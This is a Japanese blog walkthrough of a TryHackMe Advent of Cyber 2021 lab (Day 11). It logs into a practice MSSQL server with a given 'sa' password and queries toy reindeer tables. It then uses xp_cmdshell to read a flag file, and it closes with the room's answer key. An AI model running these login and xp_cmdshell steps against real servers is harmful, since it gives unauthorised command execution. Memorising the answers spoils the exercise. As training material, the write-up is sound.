【TryHackMe】Advent of Cyber3 (2021)を続けてみた Day11

# Welcome to Advent of Cyber 2021
クリスマスまでの25日間、毎日基本的な知識を学び、初心者向けの新しいセキュリティ演習を行うことで、サイバーセキュリティを始めることができます。

https://tryhackme.com/room/adventofcyber3

# day11

まずは、nmapでオープンポートを探そう。


次に、ネットワーク経由でアクセス可能なMSSQLServerに関してです。

```
┌──(kali㉿kali)-[~]
└─$ sqsh -S 10.10.85.187 -U sa -P t7uLKzddQzVjVFJp
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1>
```

テーブル名を表示するには、次のような構文を使用します。

`SELECT * FROM <table_name> WHERE <condition>`

```
1> SELECT * FROM reindeer.dbo.names;
2> go
 id          first                                    last                                    
	nickname                                
 ----------- ---------------------------------------- ----------------------------------------
	----------------------------------------
           1 Dasher                                   Dasher                                  
	Dasher                                  
           2 Dancer                                   Dancer                                  
	Dancer                                  
           3 Prancer                                  Prancer                                 
	Prancer                                 
           4 Vixen                                    Vixen                                   
	Vixen                                   
           5 Comet                                    Comet                                   
	Comet                                   
           6 Cupid                                    Cupid                                   
	Cupid                                   
           7 Donner                                   Donder                                  
	Dunder                                  
           8 Blitzen                                  Blixem                                  
	Blitzen                                 
           9 Rudolph                                  Reindeer                                
	Red Nosed                               

(9 rows affected)
```

scheduleを確認します。

```
1> SELECT * FROM reindeer.dbo.schedule;
2> go
 id                   date                      destination                                                                     
	notes                                   
 -------------------- ------------------------- --------------------------------------------------------------------------------
	----------------------------------------
                 2000 12月  5 2021 12:00午前 Tokyo                                                                           
	NULL                                    
                 2001 12月  3 2021 12:00午前 London                                                                          
	NULL                                    
                 2002 12月  1 2021 12:00午前 New York                                                                        
	NULL                                    
                 2003 12月  2 2021 12:00午前 Paris                                                                           
	NULL                                    
                 2004 12月  4 2021 12:00午前 California                                                                      
	NULL                                    
                 2005 12月  7 2021 12:00午前 Prague                                                                          
	NULL                                    
                 2006 12月 11 2021 12:00午前 Bangkok                                                                         
	NULL                                    
                 2007 12月 10 2021 12:00午前 Seoul                                                                           
	NULL                                    

(8 rows affected)
```

presentsを確認します。

```
1> SELECT * FROM reindeer.dbo.presents;
2> go
 id          name                                                                             quantity   
 ----------- -------------------------------------------------------------------------------- -----------
         100 Blanket                                                                                  500
         101 Laptop                                                                                  1000
         102 Cooler                                                                                   250
         103 BT Speaker                                                                              1000
         104 THM Subscription                                                                      100000
         105 Alarm Clock                                                                              500
         106 Cookies                                                                                10000
         107 THM T-Shirt                                                                           100000
         108 Power Bank                                                                             25000
         109 USB Hub                                                                                15000

(10 rows affected)

```

それでは、データベースとの対話中にMSWindowsコマンドを実行できるかどうかを見てみましょう。一部のMSSQLServerが xp_cmdshell 有効になっています。この場合、コマンドプロンプトに似たものにアクセスできる可能性があります。`xp_cmdshell 'COMMAND';`

```
1> xp_cmdshell 'dir c:\Users\grinch\Documents';
2> go

	output                                                                                                                                 

	-----------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------

	 Volume in drive C has no label.                                                                                             

	 Volume Serial Number is A8A4-C362                                                                                           

	NULL                                                                                                                         

	 Directory of c:\Users\grinch\Documents                                                                                      

	NULL                                                                                                                         

	11/10/2021  02:29 AM    <DIR>          .                                                                                     

	11/10/2021  02:29 AM    <DIR>          ..                                                                                    

	11/10/2021  02:28 AM                21 flag.txt                                                                              

	               1 File(s)             21 bytes                                                                                

	               2 Dir(s)   5,367,123,968 bytes free                                                                           
                                                                                                                   

	NULL                                                                                                                         

(11 rows affected, return status = 0)
```

flag.txtを見つけたので、typeコマンドで中身を見ます。

```
1> xp_cmdshell 'type c:\Users\grinch\Documents\flag.txt';
2> go

	output                                                                                                                       

	-----------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------

	THM{YjtKeUy2qT3v5dDH}                                                                                                        

(1 row affected, return status = 0)
```

# Answer
There is an open port related to MS SQL Server accessible over the network. What is the port number?
<font color="White">1433</font>
If the connection is successful, you will get a prompt. What is the prompt that you have received?
<font color="White">1></font>
We can see four columns in the table displayed above: id, first (name), last (name), and nickname. What is the first name of the reindeer of id 9?
<font color="White">Rudolph</font>
Check the table schedule. What is the destination of the trip scheduled on December 7?
<font color="White">Prague</font>
Check the table presents. What is the quantity available for the present “Power Bank”?
<font color="White">25000</font>
There is a flag hidden in the grinch user's home directory. What are its contents?
<font color="White">THM{YjtKeUy2qT3v5dDH}</font>